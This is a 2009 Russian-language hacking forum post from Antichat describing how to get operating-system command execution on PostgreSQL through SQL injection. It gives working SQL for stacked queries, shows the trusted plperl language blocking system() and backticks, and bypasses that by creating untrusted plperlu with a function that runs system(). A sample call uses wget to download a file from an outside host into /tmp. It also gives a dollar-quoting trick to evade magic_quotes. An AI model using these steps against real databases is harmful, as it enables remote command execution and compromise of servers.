Показать сообщение отдельно

  #14  
Старый 02.07.2009, 02:18
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

Небольшое дополнение

Выполнение произвольного Perl/Python/Tcl/C кода
Так как в PostgreSQL(вернее в пшп-функциях) мы можем раделять несколько запросов точкой с запятой ";" появляется возможность, имея соответcтвующие права, создавать собственные функции
Чтобы узнать доступные языки выполняем запрос
SELECT lanname,lanispl,lanpltrusted from pg_language
В данной заметке я привожу пример с языком Perl
Допустим мы получили plperl true true
Создать функцию мы можем прямо сейчас
CREATE OR REPLACE FUNCTION perlcmd (text) returns text as '$echo=234;return $echo' LANGUAGE 'plperl';

SELECT perlcmd(null);
Тут появляется первая проблема. Пробуем создать что то более полезное
CREATE OR REPLACE FUNCTION perlcmd (text) returns text as '$a=shift;system($a)' LANGUAGE 'plperl';
ERROR: creation of Perl function "perlcmd" failed: 'system' trapped by operation mask at line 1
Такая же история для обратных ковычек
ERROR: creation of Perl function "perlcmd" failed: 'quoted execution (``, qx)' trapped by operation mask at line 1
и т.д Постгре не даёт нам создать потенциально опасные функции. К счастью есть возможность обойти
Для этого создадим новый язык по образцу перла
CREATE LANGUAGE 'plperlu';
и уже новую функцию
CREATE OR REPLACE FUNCTION perlcmd2 (text)+returns text as '$a=shift;system($a)' LANGUAGE 'plperlu';

SELECT perlcmd2('wget http://www.example.com/file.txt -O /tmp/file.txt')
НУ и самая главная проблема это права, создавать функции может только суперюзер и юзеры с расширеными правами, что встречается крайне редко

Напомню что magic_quotes можно обойти симолами доллара
SELECT $$ya_stroka$$;

Последний раз редактировалось Spyder; 02.07.2009 в 02:23..